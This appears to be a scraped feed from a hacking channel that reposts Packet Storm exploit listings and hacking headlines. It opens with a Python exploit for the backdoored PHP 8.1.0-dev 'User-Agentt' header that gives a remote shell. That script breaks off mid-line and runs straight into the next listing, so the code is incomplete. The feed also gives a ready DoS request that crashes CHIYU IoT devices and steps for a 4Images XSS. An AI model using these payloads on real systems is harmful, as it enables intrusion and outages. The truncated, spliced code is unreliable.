Exploit Collector
PHP 8.1.0-dev User-Agentt Remote Code Execution

https://1.bp.blogspot.com/-gLNlUWq63_8/WWlvGRw0eoI/AAAAAAAAILQ/4OYXBaTeiPkRlDYcEes6gWLLrvO9LjoiQCLcBGAs/s1600/h138.png
PHP version 8.1.0-dev remote code execution exploit that leverages a backdoor under the User-Agentt header.

MD5 | 4a66165091ec5e614d9f7b2d045ffcb8

Download
# Exploit Title: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
# Date: 23 may 2021
# Exploit Author: flast101
# Vendor Homepage: https://www.php.net/
# Software Link:
# - https://hub.docker.com/r/phpdaily/php
# - https://github.com/phpdaily/php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# References:
# - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
# - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md

"""
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/backdoor_php_8.1.0-dev.py
Contact: flast101.sec@gmail.com

An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
The following exploit uses the backdoor to provide a pseudo shell ont the host.
"""

#!/usr/bin/env python3
import os
import re
import requests

host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)

if str(response) == '
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Gitlab 13.9.3 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cisco SD-WAN vManage 19.2.2 Remote Root

https://1.bp.blogspot.com/-f08tQl4ET7w/WWlvRxSI6FI/AAAAAAAAINU/PQjq5zhIC6AFgb3OPDnJIpwa9KgUsaunwCLcBGAs/s1600/h37.png
Cisco SD-WAN vManage version 19.2.2 remote root shell proof of concept exploit that leverages multiple vulnerabilities.

MD5 | a4bd588c350b9a327fc445d03fadab85

Download

Cisco SD-WAN vManage 19.2.2 Remote Root Shell PoC

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CHIYU IoT Denial Of Service

https://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png
CHIYU IoT devices suffer from an integer overflow denial of service vulnerability. Affected devices include BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC with firmware versions prior to June 2021.

MD5 | 2710ae05b0dfa9c84b0ae83ebc6ff34e

Download
# Exploit Title: CHIYU IoT Devices - Denial of Service (DoS)
# Date: 01/06/2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC - all firmware versions < June 2021
# Tested on: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC
# CVE: CVE-2021-31642
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

Description: A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.
CVE ID: CVE-2021-31642
CVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31642

Affected parameter: page=Component: if.cgi
Payload:
if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000

====HTTP request======
GET
/if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/AccLog.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1
Steps to reproduce:
1. Navigate to the vulnerable device
2. Make a GET request to the CGI component (if.cgi)
3. Append the payload at the end of the vulnerable parameter (page)
4. Submit the request and observe payload execution
Mitigation: The latest version of the CHIYU firmware should be installed
to mitigate this vulnerability.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
4Images 1.8 Cross Site Scripting

https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
4Images version 1.8 suffers from a cross site scripting vulnerability.

MD5 | 4674a7f7a4902040e42fa9c804d23d17

Download
# Exploit Title: 4Images 1.8 - 'redirect' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.4homepages.de/
# Software Link: https://www.4homepages.de/?download=4images1.8.zip&code=81da0c7b5208e172ea83d879634f51d6
# Version: 4Images Gallery 1.8
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-27308

-Description:
A cross-site scripting (XSS) vulnerability in the admin login panel in 4images version 1.8 allows remote attackers to inject JavaScript via the "redirect" parameter.
-Steps to reproduce:
1- Goto 4images admin panel page (demo instance: https://localhost/4images/admin/index.php)
2- Enter the credentials , Turn on the intercept and click on "Login"
3- copy paste the XSS payload after redirect=./../admin/index.php%3Fsessionid=xxxxxPASTEPAYLOADHERE
4-Forward the request and you can see XSS is triggered.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Local Service Search Engine Management System 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
The True Cost of a Ransomware Attack

Companies need to prepare for the costs of an attack now, before they get attacked. Here's a checklist to help.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to hack Firefox passwords with python?

https://cdn-images-1.medium.com/max/652/1*GTJ-fVctBjwRQlrN2jvV-w.png
Do you think it is safe to store your password in Firefox?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacker101 CTF Micro-CMS v1 Writeup

Challenge Link : https://ctf.hacker101.com/ctf

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
New paradigm of gig workers creates new data security risks

https://cdn-images-1.medium.com/max/1127/1*lIHZ1ecu64JFcJPIBVA_eg.png
By now, we have seen fairly frequently the numerous risks inherent in the new remote work paradigm. But cousin to this state of affairs is…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Investigadores advierten sobre errores críticos que afectan el módulo Wi-Fi de Realtek.

https://cdn-images-1.medium.com/max/1024/0*9nfiRGTmsygrEyra
PUBLICADO EN 3 JUNIO, 2021 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Apple’s M1 Has A Security Flaw — Why It Doesn’t Matter At All?

https://cdn-images-1.medium.com/max/2600/0*uTEgBvMaQu-FwT7N
Continue reading on Mac O’Clock »

___________________________
@hacking_Attack
@Hacking_Video